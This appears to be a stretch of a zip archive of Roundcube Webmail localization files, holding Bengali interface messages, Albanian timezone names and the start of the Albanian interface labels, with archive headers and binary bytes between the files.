$messages['checking'] = 'দেখছি ...';
$messages['nospellerrors'] = 'No spelling errors found';
$messages['folderdeleted'] = 'ফোল্ডার/মেইলবক্স ঠিকঠাকমতো ফেলানো হয়ে গেছে';
$messages['deletedsuccessfully'] = 'ঠিকঠাকমতো ফেলানো হয়ে গেছে';
$messages['converting'] = 'বিন্যাস (formatting) সরানো হচ্ছে ..';
$messages['messageopenerror'] = 'সারভার থেকে চিঠি আনা গেলোনা';
$messages['fileuploaderror'] = 'ফাইলটা সারভারে উঠানো গেলোনা';
$messages['filesizeerror'] = 'যে ফাইলটা উঠানোর চেষ্টা করলেন সেটি সর্বোচ্চ সাইজ $size এর থেকে বেশি';
$messages['sourceisreadonly'] = 'এইঠিকানাটা খালি পড়ার জন্যে';
$messages['errorsavingcontact'] = 'ঠিকানা জমা রাখা গেলোনা';
$messages['movingmessage'] = 'চিঠি সরানো হচ্ছে..';
$messages['receiptsent'] = 'ঠিকঠাক মতো ফিরতি রশিদ পাঠানো হয়েছে';
$messages['errorsendingreceipt'] = 'রশিদ পাঠানো গেলোনা';
$messages['nodeletelastidentity'] = 'আপনি এই পরিচিতি ফেলতে পারবেন না কারন এইটায় বর্তমানে আপনার একমাত্র পরিচিতি।';
$messages['forbiddencharacter'] = 'ফোল্ডার এর নামের মধ্যে নিষিদ্ধ অক্ষর আছে';
$messages['selectimportfile'] = 'একটা ফাইল বেছে নিন তোলার জন্য';
$messages['addresswriterror'] = 'বেছে নেওয়া ঠিকানার বইটিতে লেখাযায় না';
$messages['importwait'] = 'আমদানি করা হচ্ছে। একটু অপেক্ষা করুন...';
$messages['importconfirm'] = '<b>ঠিকমতো $inserted ঠিকানা আমদানি করা গেছে, $skipped ঠিকানা আগের থেকেই ছিলো বলে তাদের টা যা ছিলো তাই রাখা হয়েছে</b>:<p><em>$names</em></p>';
$messages['opnotpermitted'] = 'এই কাজটা করার অনুমতি নাই আপনার';
PK
h�\N�VgNgN(program/localization/sq_AL/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'Afrikë';
$labels['tz:africa:abidjan'] = 'Abixhan';
$labels['tz:africa:accra'] = 'Akra';
$labels['tz:africa:addis_ababa'] = 'Adis Abeba';
$labels['tz:africa:algiers'] = 'Algjer';
$labels['tz:africa:asmara'] = 'Asmara';
$labels['tz:africa:bamako'] = 'Bamako';
$labels['tz:africa:bangui'] = 'Bangui';
$labels['tz:africa:banjul'] = 'Banxhul';
$labels['tz:africa:bissau'] = 'Bisau';
$labels['tz:africa:blantyre'] = 'Blantajër';
$labels['tz:africa:brazzaville'] = 'Brazavil';
$labels['tz:africa:bujumbura'] = 'Buxhumbura';
$labels['tz:africa:cairo'] = 'Kajro';
$labels['tz:africa:casablanca'] = 'Kazablanca';
$labels['tz:africa:ceuta'] = 'Ceuta';
$labels['tz:africa:conakry'] = 'Konakri';
$labels['tz:africa:dakar'] = 'Dakar';
$labels['tz:africa:dar_es_salaam'] = 'Dar es Salam';
$labels['tz:africa:djibouti'] = 'Xhibout';
$labels['tz:africa:douala'] = 'Duala';
$labels['tz:africa:el_aaiun'] = 'El Ajun';
$labels['tz:africa:freetown'] = 'Fritaun';
$labels['tz:africa:gaborone'] = 'Gaborone';
$labels['tz:africa:harare'] = 'Harare';
$labels['tz:africa:johannesburg'] = 'Johanesburg';
$labels['tz:africa:juba'] = 'Juba';
$labels['tz:africa:kampala'] = 'Kampala';
$labels['tz:africa:khartoum'] = 'Kartoum';
$labels['tz:africa:kigali'] = 'Kigali';
$labels['tz:africa:kinshasa'] = 'Kinshasa';
$labels['tz:africa:lagos'] = 'Lagos';
$labels['tz:africa:libreville'] = 'Librevil';
$labels['tz:africa:lome'] = 'Lome';
$labels['tz:africa:luanda'] = 'Luanda';
$labels['tz:africa:lubumbashi'] = 'Lubumbashi';
$labels['tz:africa:lusaka'] = 'Lusaka';
$labels['tz:africa:malabo'] = 'Malabo';
$labels['tz:africa:maputo'] = 'Maputo';
$labels['tz:africa:maseru'] = 'Maseru';
$labels['tz:africa:mbabane'] = 'Mbabane';
$labels['tz:africa:mogadishu'] = 'Mogadishu';
$labels['tz:africa:monrovia'] = 'Monrovia';
$labels['tz:africa:nairobi'] = 'Najrobi';
$labels['tz:africa:ndjamena'] = 'Nxhamena';
$labels['tz:africa:niamey'] = 'Niamei';
$labels['tz:africa:nouakchott'] = 'Nuakçot';
$labels['tz:africa:ouagadougou'] = 'Uagadugu';
$labels['tz:africa:porto-novo'] = 'Porto-Novo';
$labels['tz:africa:sao_tome'] = 'Sao Tome';
$labels['tz:africa:tripoli'] = 'Tripoli';
$labels['tz:africa:tunis'] = 'Tunis';
$labels['tz:africa:windhoek'] = 'Uindhoek';
$labels['tz:america'] = 'Amerikë';
$labels['tz:america:adak'] = 'Adak';
$labels['tz:america:anchorage'] = 'Ankorazh';
$labels['tz:america:anguilla'] = 'Anguila';
$labels['tz:america:antigua'] = 'Antigua';
$labels['tz:america:araguaina'] = 'Araguaina';
$labels['tz:america:argentina'] = 'Argjentinë';
$labels['tz:america:argentina:buenos_aires'] = 'Buenos Ajres';
$labels['tz:america:argentina:catamarca'] = 'Katamarka';
$labels['tz:america:argentina:cordoba'] = 'Kordoba ';
$labels['tz:america:argentina:jujuy'] = 'Jujui';
$labels['tz:america:argentina:la_rioja'] = 'La Rioha';
$labels['tz:america:argentina:mendoza'] = 'Mendoza';
$labels['tz:america:argentina:rio_gallegos'] = 'Rio Galegos';
$labels['tz:america:argentina:salta'] = 'Salta';
$labels['tz:america:argentina:san_juan'] = 'San Huan';
$labels['tz:america:argentina:san_luis'] = 'San Luis';
$labels['tz:america:argentina:tucuman'] = 'Tukuman';
$labels['tz:america:argentina:ushuaia'] = 'Ushuaja';
$labels['tz:america:aruba'] = 'Aruba';
$labels['tz:america:asuncion'] = 'Asuncion';
$labels['tz:america:atikokan'] = 'Atikokan';
$labels['tz:america:bahia'] = 'Bahia';
$labels['tz:america:bahia_banderas'] = 'Bahia Banderas';
$labels['tz:america:barbados'] = 'Barbados';
$labels['tz:america:belem'] = 'Belem';
$labels['tz:america:belize'] = 'Belize';
$labels['tz:america:blanc-sablon'] = 'Blank-Sablon';
$labels['tz:america:boa_vista'] = 'Boa Vista';
$labels['tz:america:bogota'] = 'Bogota';
$labels['tz:america:boise'] = 'Buaz';
$labels['tz:america:cambridge_bay'] = 'Kembrixh Bej';
$labels['tz:america:campo_grande'] = 'Kampo Grande';
$labels['tz:america:cancun'] = 'Kankun';
$labels['tz:america:caracas'] = 'Karakas';
$labels['tz:america:cayenne'] = 'Kajen';
$labels['tz:america:cayman'] = 'Kejmën';
$labels['tz:america:chicago'] = 'Çikago';
$labels['tz:america:chihuahua'] = 'Çiuaua';
$labels['tz:america:costa_rica'] = 'Kosta Rika';
$labels['tz:america:creston'] = 'Kreston';
$labels['tz:america:cuiaba'] = 'Kujaba';
$labels['tz:america:curacao'] = 'Kurasëo';
$labels['tz:america:danmarkshavn'] = 'Danmarkshavn';
$labels['tz:america:dawson'] = 'Dousën';
$labels['tz:america:dawson_creek'] = 'Dousën Krik';
$labels['tz:america:denver'] = 'Denver';
$labels['tz:america:detroit'] = 'Detroit';
$labels['tz:america:dominica'] = 'Dominika';
$labels['tz:america:edmonton'] = 'Edmonton';
$labels['tz:america:eirunepe'] = 'Eirunepe';
$labels['tz:america:el_salvador'] = 'El Salvador';
$labels['tz:america:fort_nelson'] = 'Fort Nelson';
$labels['tz:america:fortaleza'] = 'Fortaleca';
$labels['tz:america:glace_bay'] = 'Gjiri i Akullit';
$labels['tz:america:godthab'] = 'Godhab';
$labels['tz:america:goose_bay'] = 'Gus Bej';
$labels['tz:america:grand_turk'] = 'Grand Turk';
$labels['tz:america:grenada'] = 'Grenadë';
$labels['tz:america:guadeloupe'] = 'Guadalupë ';
$labels['tz:america:guatemala'] = 'Guatemalë';
$labels['tz:america:guayaquil'] = 'Guajakil';
$labels['tz:america:guyana'] = 'Guajanë';
$labels['tz:america:halifax'] = 'Halifaks';
$labels['tz:america:havana'] = 'Havanë';
$labels['tz:america:hermosillo'] = 'Hermosijo';
$labels['tz:america:indiana'] = 'Indiana';
$labels['tz:america:indiana:indianapolis'] = 'Indianapolis';
$labels['tz:america:indiana:knox'] = 'Knoks';
$labels['tz:america:indiana:marengo'] = 'Marengo';
$labels['tz:america:indiana:petersburg'] = 'Petërburg';
$labels['tz:america:indiana:tell_city'] = 'Tell City';
$labels['tz:america:indiana:vevay'] = 'Vevei';
$labels['tz:america:indiana:vincennes'] = 'Vincene';
$labels['tz:america:indiana:winamac'] = 'Uinamak';
$labels['tz:america:inuvik'] = 'Inuvik';
$labels['tz:america:iqaluit'] = 'Ikaluit';
$labels['tz:america:jamaica'] = 'Xhamajkë';
$labels['tz:america:juneau'] = 'Zhyno';
$labels['tz:america:kentucky'] = 'Kentaki';
$labels['tz:america:kentucky:louisville'] = 'Luisvil';
$labels['tz:america:kentucky:monticello'] = 'Montiçelo';
$labels['tz:america:kralendijk'] = 'Kralendijk';
$labels['tz:america:la_paz'] = 'La Paz';
$labels['tz:america:lima'] = 'Lima';
$labels['tz:america:los_angeles'] = 'Los Anxheles';
$labels['tz:america:lower_princes'] = 'Louër Prinses';
$labels['tz:america:maceio'] = 'Maceio';
$labels['tz:america:managua'] = 'Managua';
$labels['tz:america:manaus'] = 'Manaus';
$labels['tz:america:marigot'] = 'Marigo';
$labels['tz:america:martinique'] = 'Martinikë';
$labels['tz:america:matamoros'] = 'Matamoros';
$labels['tz:america:mazatlan'] = 'Mazatlan';
$labels['tz:america:menominee'] = 'Menomini';
$labels['tz:america:merida'] = 'Merida';
$labels['tz:america:metlakatla'] = 'Metlakatla';
$labels['tz:america:mexico_city'] = 'Meksiko Siti';
$labels['tz:america:miquelon'] = 'Mikëlon';
$labels['tz:america:moncton'] = 'Monkton';
$labels['tz:america:monterrey'] = 'Monterrej';
$labels['tz:america:montevideo'] = 'Montevideo';
$labels['tz:america:montserrat'] = 'Monserrat';
$labels['tz:america:nassau'] = 'Nasau';
$labels['tz:america:new_york'] = 'Nju Jork';
$labels['tz:america:nipigon'] = 'Nipigon';
$labels['tz:america:nome'] = 'Nome';
$labels['tz:america:noronha'] = 'Noronja';
$labels['tz:america:north_dakota'] = 'Dakota e Veriut';
$labels['tz:america:north_dakota:beulah'] = 'Beula';
$labels['tz:america:north_dakota:center'] = 'Qendër';
$labels['tz:america:north_dakota:new_salem'] = 'Nju Salem';
$labels['tz:america:ojinaga'] = 'Ojinaga';
$labels['tz:america:panama'] = 'Panama';
$labels['tz:america:pangnirtung'] = 'Pangnirtung';
$labels['tz:america:paramaribo'] = 'Paramaribo';
$labels['tz:america:phoenix'] = 'Feniks';
$labels['tz:america:port-au-prince'] = 'Port-o-Prins';
$labels['tz:america:port_of_spain'] = 'Port of Spein';
$labels['tz:america:porto_velho'] = 'Porto Velho';
$labels['tz:america:puerto_rico'] = 'Porto Riko';
$labels['tz:america:rainy_river'] = 'Reini Rivër';
$labels['tz:america:rankin_inlet'] = 'Rankin Inlet';
$labels['tz:america:recife'] = 'Recife';
$labels['tz:america:regina'] = 'Rexhina';
$labels['tz:america:resolute'] = 'Rezolut';
$labels['tz:america:rio_branco'] = 'Rio Branko';
$labels['tz:america:santarem'] = 'Santarem';
$labels['tz:america:santiago'] = 'Santiago';
$labels['tz:america:santo_domingo'] = 'Santo Domingo';
$labels['tz:america:sao_paulo'] = 'Sao Paulo';
$labels['tz:america:scoresbysund'] = 'Skorsbajsund';
$labels['tz:america:sitka'] = 'Sitka';
$labels['tz:america:st_barthelemy'] = 'Shën Bartolome';
$labels['tz:america:st_johns'] = "Shën Gjon";
$labels['tz:america:st_kitts'] = 'Shën Kits';
$labels['tz:america:st_lucia'] = 'Shën Luçia';
$labels['tz:america:st_thomas'] = 'Shën Thoma';
$labels['tz:america:st_vincent'] = 'Shën Vinsent';
$labels['tz:america:swift_current'] = 'Suift Kurrent';
$labels['tz:america:tegucigalpa'] = 'Tegucigalpa';
$labels['tz:america:thule'] = 'Tjul';
$labels['tz:america:thunder_bay'] = 'Thundërbej';
$labels['tz:america:tijuana'] = 'Tihuana';
$labels['tz:america:toronto'] = 'Toronto';
$labels['tz:america:tortola'] = 'Tortola';
$labels['tz:america:vancouver'] = 'Vankuver';
$labels['tz:america:whitehorse'] = 'Uajthors';
$labels['tz:america:winnipeg'] = 'Uinipeg';
$labels['tz:america:yakutat'] = 'Jakutat';
$labels['tz:america:yellowknife'] = 'Jellounaif';
$labels['tz:antarctica'] = 'Antarktidë ';
$labels['tz:antarctica:casey'] = 'Kasi';
$labels['tz:antarctica:davis'] = 'Dejvis';
$labels['tz:antarctica:dumontdurville'] = "Dymon d'Yrvil";
$labels['tz:antarctica:macquarie'] = 'Makuari';
$labels['tz:antarctica:mawson'] = 'Mousën';
$labels['tz:antarctica:mcmurdo'] = 'Mekmërdou';
$labels['tz:antarctica:palmer'] = 'Palmer';
$labels['tz:antarctica:rothera'] = 'Rotera';
$labels['tz:antarctica:syowa'] = 'Shoua';
$labels['tz:antarctica:troll'] = 'Troll';
$labels['tz:antarctica:vostok'] = 'Vostok';
$labels['tz:arctic'] = 'Arktik';
$labels['tz:arctic:longyearbyen'] = 'Longjiërbajn';
$labels['tz:asia'] = 'Azi';
$labels['tz:asia:aden'] = 'Aden';
$labels['tz:asia:almaty'] = 'Almati';
$labels['tz:asia:amman'] = 'Aman';
$labels['tz:asia:anadyr'] = 'Anadir';
$labels['tz:asia:aqtau'] = 'Aktau';
$labels['tz:asia:aqtobe'] = 'Aktobe';
$labels['tz:asia:ashgabat'] = 'Ashkabad';
$labels['tz:asia:atyrau'] = 'Atirau';
$labels['tz:asia:baghdad'] = 'Bagdad';
$labels['tz:asia:bahrain'] = 'Bahrein';
$labels['tz:asia:baku'] = 'Baku';
$labels['tz:asia:bangkok'] = 'Bangkok';
$labels['tz:asia:barnaul'] = 'Barnaul';
$labels['tz:asia:beirut'] = 'Bejrut';
$labels['tz:asia:bishkek'] = 'Bishkek';
$labels['tz:asia:brunei'] = 'Brunei ';
$labels['tz:asia:chita'] = 'Çita';
$labels['tz:asia:choibalsan'] = 'Çoibalsan';
$labels['tz:asia:colombo'] = 'Kolombo';
$labels['tz:asia:damascus'] = 'Damask';
$labels['tz:asia:dhaka'] = 'Daka';
$labels['tz:asia:dili'] = 'Dili';
$labels['tz:asia:dubai'] = 'Dubai';
$labels['tz:asia:dushanbe'] = 'Dushanbe';
$labels['tz:asia:famagusta'] = 'Famagusta';
$labels['tz:asia:gaza'] = 'Gaza';
$labels['tz:asia:hebron'] = 'Hebron';
$labels['tz:asia:ho_chi_minh'] = 'Ho Shi Min';
$labels['tz:asia:hong_kong'] = 'Hong Kong';
$labels['tz:asia:hovd'] = 'Hovd';
$labels['tz:asia:irkutsk'] = 'Irkutsk';
$labels['tz:asia:jakarta'] = 'Xhakartë';
$labels['tz:asia:jayapura'] = 'Jajapura';
$labels['tz:asia:jerusalem'] = 'Jeruzalem';
$labels['tz:asia:kabul'] = 'Kabul';
$labels['tz:asia:kamchatka'] = 'Kamçatkë';
$labels['tz:asia:karachi'] = 'Karaçi';
$labels['tz:asia:kathmandu'] = 'Katmandu';
$labels['tz:asia:khandyga'] = 'Kandiga';
$labels['tz:asia:kolkata'] = 'Kalkuta';
$labels['tz:asia:krasnoyarsk'] = 'Krasnojarsk';
$labels['tz:asia:kuala_lumpur'] = 'Kuala Lumpur';
$labels['tz:asia:kuching'] = 'Kuçing';
$labels['tz:asia:kuwait'] = 'Kuvajt';
$labels['tz:asia:macau'] = 'Makau';
$labels['tz:asia:magadan'] = 'Magadan';
$labels['tz:asia:makassar'] = 'Makasar';
$labels['tz:asia:manila'] = 'Manila';
$labels['tz:asia:muscat'] = 'Muskat';
$labels['tz:asia:nicosia'] = 'Nikosia';
$labels['tz:asia:novokuznetsk'] = 'Novokuznjeck';
$labels['tz:asia:novosibirsk'] = 'Novosibirsk';
$labels['tz:asia:omsk'] = 'Omsk';
$labels['tz:asia:oral'] = 'Oral';
$labels['tz:asia:phnom_penh'] = 'Pnom Pen';
$labels['tz:asia:pontianak'] = 'Pontianak';
$labels['tz:asia:pyongyang'] = 'Pjongiang';
$labels['tz:asia:qatar'] = 'Katar';
$labels['tz:asia:qyzylorda'] = 'Qyzylorda';
$labels['tz:asia:riyadh'] = 'Riad';
$labels['tz:asia:sakhalin'] = 'Sakalin';
$labels['tz:asia:samarkand'] = 'Samarkand';
$labels['tz:asia:seoul'] = 'Seul';
$labels['tz:asia:shanghai'] = 'Shangai';
$labels['tz:asia:singapore'] = 'Singapor';
$labels['tz:asia:srednekolymsk'] = 'Srednekolimsk';
$labels['tz:asia:taipei'] = 'Tajpei  ';
$labels['tz:asia:tashkent'] = 'Tashkent';
$labels['tz:asia:tbilisi'] = 'Tbilis';
$labels['tz:asia:tehran'] = 'Teheran';
$labels['tz:asia:thimphu'] = 'Timpu';
$labels['tz:asia:tokyo'] = 'Tokio';
$labels['tz:asia:tomsk'] = 'Tomsk';
$labels['tz:asia:ulaanbaatar'] = 'Ulan Bator';
$labels['tz:asia:urumqi'] = 'Urumki';
$labels['tz:asia:ust-nera'] = 'Ust-Nera';
$labels['tz:asia:vientiane'] = 'Vientiane';
$labels['tz:asia:vladivostok'] = 'Vladivostok';
$labels['tz:asia:yakutsk'] = 'Jakutsk';
$labels['tz:asia:yangon'] = 'Jangon';
$labels['tz:asia:yekaterinburg'] = 'Jekaterinburg';
$labels['tz:asia:yerevan'] = 'Erevan';
$labels['tz:atlantic'] = 'Atlantik';
$labels['tz:atlantic:azores'] = 'Azore';
$labels['tz:atlantic:bermuda'] = 'Bermuda';
$labels['tz:atlantic:canary'] = 'Kanarie';
$labels['tz:atlantic:cape_verde'] = 'Kepi i Gjelbër';
$labels['tz:atlantic:faroe'] = 'Faroe';
$labels['tz:atlantic:madeira'] = 'Madeira';
$labels['tz:atlantic:reykjavik'] = 'Reikjavik';
$labels['tz:atlantic:south_georgia'] = 'Xhorxhia e Jjugut';
$labels['tz:atlantic:st_helena'] = 'Shën Elena';
$labels['tz:atlantic:stanley'] = 'Stanli';
$labels['tz:australia'] = 'Australi';
$labels['tz:australia:adelaide'] = 'Adelaide';
$labels['tz:australia:brisbane'] = 'Brisbën';
$labels['tz:australia:broken_hill'] = 'Brokën Hill';
$labels['tz:australia:currie'] = 'Kurri';
$labels['tz:australia:darwin'] = 'Darvin';
$labels['tz:australia:eucla'] = 'Jukla';
$labels['tz:australia:hobart'] = 'Hobart';
$labels['tz:australia:lindeman'] = 'Lindeman';
$labels['tz:australia:lord_howe'] = 'Lord Hou';
$labels['tz:australia:melbourne'] = 'Melburn';
$labels['tz:australia:perth'] = 'Përth';
$labels['tz:australia:sydney'] = 'Sidni';
$labels['tz:europe'] = 'Europë';
$labels['tz:europe:amsterdam'] = 'Amsterdam';
$labels['tz:europe:andorra'] = 'Andorra';
$labels['tz:europe:astrakhan'] = 'Astrakan';
$labels['tz:europe:athens'] = 'Athinë';
$labels['tz:europe:belgrade'] = 'Beograd';
$labels['tz:europe:berlin'] = 'Berlin';
$labels['tz:europe:bratislava'] = 'Bratislavë';
$labels['tz:europe:brussels'] = 'Bruksel';
$labels['tz:europe:bucharest'] = 'Bukuresht';
$labels['tz:europe:budapest'] = 'Budapest';
$labels['tz:europe:busingen'] = 'Busingen';
$labels['tz:europe:chisinau'] = 'Kishinau';
$labels['tz:europe:copenhagen'] = 'Kopenhagen';
$labels['tz:europe:dublin'] = 'Dublin';
$labels['tz:europe:gibraltar'] = 'Gjibraltar';
$labels['tz:europe:guernsey'] = 'Gernsi';
$labels['tz:europe:helsinki'] = 'Helsinki';
$labels['tz:europe:isle_of_man'] = 'Ishulli i Robit';
$labels['tz:europe:istanbul'] = 'Stamboll';
$labels['tz:europe:jersey'] = 'Xhërsi';
$labels['tz:europe:kaliningrad'] = 'Kaliningrad';
$labels['tz:europe:kiev'] = 'Kiev';
$labels['tz:europe:kirov'] = 'Kirov';
$labels['tz:europe:lisbon'] = 'Lisbonë';
$labels['tz:europe:ljubljana'] = 'Ljubljanë';
$labels['tz:europe:london'] = 'Londër';
$labels['tz:europe:luxembourg'] = 'Luksemburg';
$labels['tz:europe:madrid'] = 'Madrid';
$labels['tz:europe:malta'] = 'Maltë';
$labels['tz:europe:mariehamn'] = 'Merihamn';
$labels['tz:europe:minsk'] = 'Minsk';
$labels['tz:europe:monaco'] = 'Monako';
$labels['tz:europe:moscow'] = 'Moskë';
$labels['tz:europe:oslo'] = 'Oslo';
$labels['tz:europe:paris'] = 'Paris';
$labels['tz:europe:podgorica'] = 'Podgoricë';
$labels['tz:europe:prague'] = 'Pragë';
$labels['tz:europe:riga'] = 'Rigë';
$labels['tz:europe:rome'] = 'Romë';
$labels['tz:europe:samara'] = 'Samara';
$labels['tz:europe:san_marino'] = 'San Marino';
$labels['tz:europe:sarajevo'] = 'Sarajevë';
$labels['tz:europe:saratov'] = 'Saratov';
$labels['tz:europe:simferopol'] = 'Simferopol';
$labels['tz:europe:skopje'] = 'Shkup';
$labels['tz:europe:sofia'] = 'Sofje';
$labels['tz:europe:stockholm'] = 'Stokholm';
$labels['tz:europe:tallinn'] = 'Talin';
$labels['tz:europe:tirane'] = 'Tiranë';
$labels['tz:europe:ulyanovsk'] = 'Uljanovsk';
$labels['tz:europe:uzhgorod'] = 'Uzhgorod';
$labels['tz:europe:vaduz'] = 'Vaduz';
$labels['tz:europe:vatican'] = 'Vatikan';
$labels['tz:europe:vienna'] = 'Vjenë';
$labels['tz:europe:vilnius'] = 'Vilnius';
$labels['tz:europe:volgograd'] = 'Volgograd';
$labels['tz:europe:warsaw'] = 'Varshavë';
$labels['tz:europe:zagreb'] = 'Zagreb';
$labels['tz:europe:zaporozhye'] = 'Zaporozhje';
$labels['tz:europe:zurich'] = 'Zyrih ';
$labels['tz:indian'] = 'Indian';
$labels['tz:indian:antananarivo'] = 'Antananarivo';
$labels['tz:indian:chagos'] = 'Çagos';
$labels['tz:indian:christmas'] = 'Kërshëndellat';
$labels['tz:indian:cocos'] = 'Kokos';
$labels['tz:indian:comoro'] = 'Komoro';
$labels['tz:indian:kerguelen'] = 'Kerguelen';
$labels['tz:indian:mahe'] = 'Mahe';
$labels['tz:indian:maldives'] = 'Maldive';
$labels['tz:indian:mauritius'] = 'Mauricius';
$labels['tz:indian:mayotte'] = 'Majote';
$labels['tz:indian:reunion'] = 'Reunion';
$labels['tz:pacific'] = 'Paqësor';
$labels['tz:pacific:apia'] = 'Apia';
$labels['tz:pacific:auckland'] = 'Okland';
$labels['tz:pacific:bougainville'] = 'Bugënvil';
$labels['tz:pacific:chatham'] = 'Çatëm';
$labels['tz:pacific:chuuk'] = 'Çuk';
$labels['tz:pacific:easter'] = 'Pashkët';
$labels['tz:pacific:efate'] = 'Efate';
$labels['tz:pacific:enderbury'] = 'Endërbëry';
$labels['tz:pacific:fakaofo'] = 'Fakaofo';
$labels['tz:pacific:fiji'] = 'Fixhi';
$labels['tz:pacific:funafuti'] = 'Funafuti';
$labels['tz:pacific:galapagos'] = 'Galapagos';
$labels['tz:pacific:gambier'] = 'Gambier';
$labels['tz:pacific:guadalcanal'] = 'Guadalkanal';
$labels['tz:pacific:guam'] = 'Guam';
$labels['tz:pacific:honolulu'] = 'Honolulu';
$labels['tz:pacific:johnston'] = 'Xhonston';
$labels['tz:pacific:kiritimati'] = 'Kiritimati';
$labels['tz:pacific:kosrae'] = 'Kosrae';
$labels['tz:pacific:kwajalein'] = 'Kuaxhëlin';
$labels['tz:pacific:majuro'] = 'Maxhuro';
$labels['tz:pacific:marquesas'] = 'Markezat';
$labels['tz:pacific:midway'] = 'Miduei';
$labels['tz:pacific:nauru'] = 'Nauru';
$labels['tz:pacific:niue'] = 'Niue';
$labels['tz:pacific:norfolk'] = 'Norfolk';
$labels['tz:pacific:noumea'] = 'Numea';
$labels['tz:pacific:pago_pago'] = 'Pago Pago';
$labels['tz:pacific:palau'] = 'Palau';
$labels['tz:pacific:pitcairn'] = 'Pitkern';
$labels['tz:pacific:pohnpei'] = 'Ponpei';
$labels['tz:pacific:port_moresby'] = 'Port Moresbi';
$labels['tz:pacific:rarotonga'] = 'Rarotonga';
$labels['tz:pacific:saipan'] = 'Saipan';
$labels['tz:pacific:tahiti'] = 'Tahiti';
$labels['tz:pacific:tarawa'] = 'Taraua';
$labels['tz:pacific:tongatapu'] = 'Tongatapu';
$labels['tz:pacific:wake'] = 'Ueik';
$labels['tz:pacific:wallis'] = 'Ualis';
PK
h�\P��E�E�%program/localization/sq_AL/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Mirë se vini në $product';
$labels['username'] = 'Emër përdoruesi';
$labels['password'] = 'Fjalëkalimi';
$labels['server'] = 'Shërbyes';
$labels['login'] = 'Hyrje';
$labels['oauthlogin'] = 'Hyrje me $provider';
$labels['menu'] = 'Menu';
$labels['logout'] = 'Dalje';
$labels['mail'] = 'Postë';
$labels['settings'] = 'Rregullime';
$labels['addressbook'] = 'Libër Adresash';
$labels['darkmode'] = 'Mënyrë e Errët';
$labels['lightmode'] = 'Mënyra e Çelët';
$labels['inbox'] = 'Të marrë';
$labels['drafts'] = 'Skica';
$labels['sent'] = 'Të dërguar';
$labels['trash'] = 'Hedhurina';
$labels['junk'] = 'Të pavlerë';
$labels['show_real_foldernames'] = 'Shfaqi emrat realë për dosjet speciale';
$labels['subject'] = 'Subjekt';
$labels['from'] = 'Nga';
$labels['sender'] = 'Dërguesi';
$labels['to'] = 'Për';
$labels['cc'] = 'Cc';
$labels['bcc'] = 'Bcc';
$labels['date'] = 'Datë';
$labels['size'] = 'Madhësi';
$labels['priority'] = 'Përparësi';
$labels['organization'] = 'Ent';
$labels['readstatus'] = 'Gjendje leximi';
$labels['listoptions'] = 'Mundësi liste…';
$labels['listoptionstitle'] = 'Mundësi liste';
$labels['mailboxlist'] = 'Dosje';
$labels['messagesfromto'] = 'Mesazhet nga $from deri në $to nga $count gjithsej';
$labels['threadsfromto'] = 'Rrjedhat nga $from deri në $to nga $count gjithsej';
$labels['messagenrof'] = 'Mesazhi $nr nga $count gjithsej';
$labels['fromtoshort'] = '$from – $to nga $count gjithsej';
$labels['copy'] = 'Kopjoje';
$labels['move'] = 'Lëvize';
$labels['moveto'] = 'Shpjere te...';
$labels['copyto'] = 'Kopjoje te...';
$labels['download'] = 'Shkarkoje';
$labels['open'] = 'Hape';
$labels['showattachment'] = 'Shfaqe';
$labels['showanyway'] = 'Shfaqe sido qoftë';
$labels['filename'] = 'Emër kartele';
$labels['filesize'] = 'Madhësi kartele';
$labels['addtoaddressbook'] = 'Shtoje në librin e adresave';
$labels['sun'] = 'Die';
$labels['mon'] = 'Hën';
$labels['tue'] = 'Mar';
$labels['wed'] = 'Mër';
$labels['thu'] = 'Enj';
$labels['fri'] = 'Pre';
$labels['sat'] = 'Sht';
$labels['sunday'] = 'e Dielë';
$labels['monday'] = 'e Hënë';
$labels['tuesday'] = 'e Martë';
$labels['wednesday'] = 'e Mërkurë';
$labels['thursday'] = 'e Enjte';
$labels['friday'] = 'e Premte';
$labels['saturday'] = 'e Shtunë';
$labels['jan'] = 'Jan';
$labels['feb'] = 'Shk';
$labels['mar'] = 'Mar';
$labels['apr'] = 'Pri';
$labels['may'] = 'Maj';
$labels['jun'] = 'Qer';
$labels['jul'] = 'Kor';
$labels['aug'] = 'Gus';
$labels['sep'] = 'Sht';
$labels['oct'] = 'Tet';
$labels['nov'] = 'Nën';
$labels['dec'] = 'Dhj';
$labels['longjan'] = 'Janar';
$labels['longfeb'] = 'Shkurt';
$labels['longmar'] = 'Mars';
$labels['longapr'] = 'Prill';
$labels['longmay'] = 'Maj';
$labels['longjun'] = 'Qershor';
$labels['longjul'] = 'Korrik';
$labels['longaug'] = 'Gusht';
$labels['longsep'] = 'Shtator';
$labels['longoct'] = 'Tetor';
$labels['longnov'] = 'Nëntor';
$labels['longdec'] = 'Dhjetor';
$labels['today'] = 'Sot';
$labels['refresh'] = 'Rifreskoje';
$labels['checkmail'] = 'Kontrollo për mesazhe të reja';
$labels['compose'] = 'Hartoni';
$labels['writenewmessage'] = 'Krijoni një mesazh të ri';
$labels['reply'] = 'Përgjigju';
$labels['replytomessage'] = 'Përgjigjiu dërguesit';
$labels['replytoallmessage'] = 'Përgjigju te lista ose dërguesit dhe të gjithë marrësve';
$labels['replyall'] = 'Përgjigju të gjithëve';
$labels['replylist'] = 'Përgjigju listës';
$labels['forward'] = 'Përcille';
$labels['forwardinline'] = 'Përcille brendazi';
$labels['forwardattachment'] = 'Përcille si bashkëngjitje';
$labels['forwardmessage'] = 'Përcille mesazhin';
$labels['bouncemsg'] = 'Përpunim marrësi';
$labels['bounce'] = 'Ridërgoje';
$labels['deletemessage'] = 'Fshije mesazhin';
$labels['movemessagetotrash'] = 'Hidhe mesazhin në kosh';
$labels['printmessage'] = 'Shtype këtë mesazh';
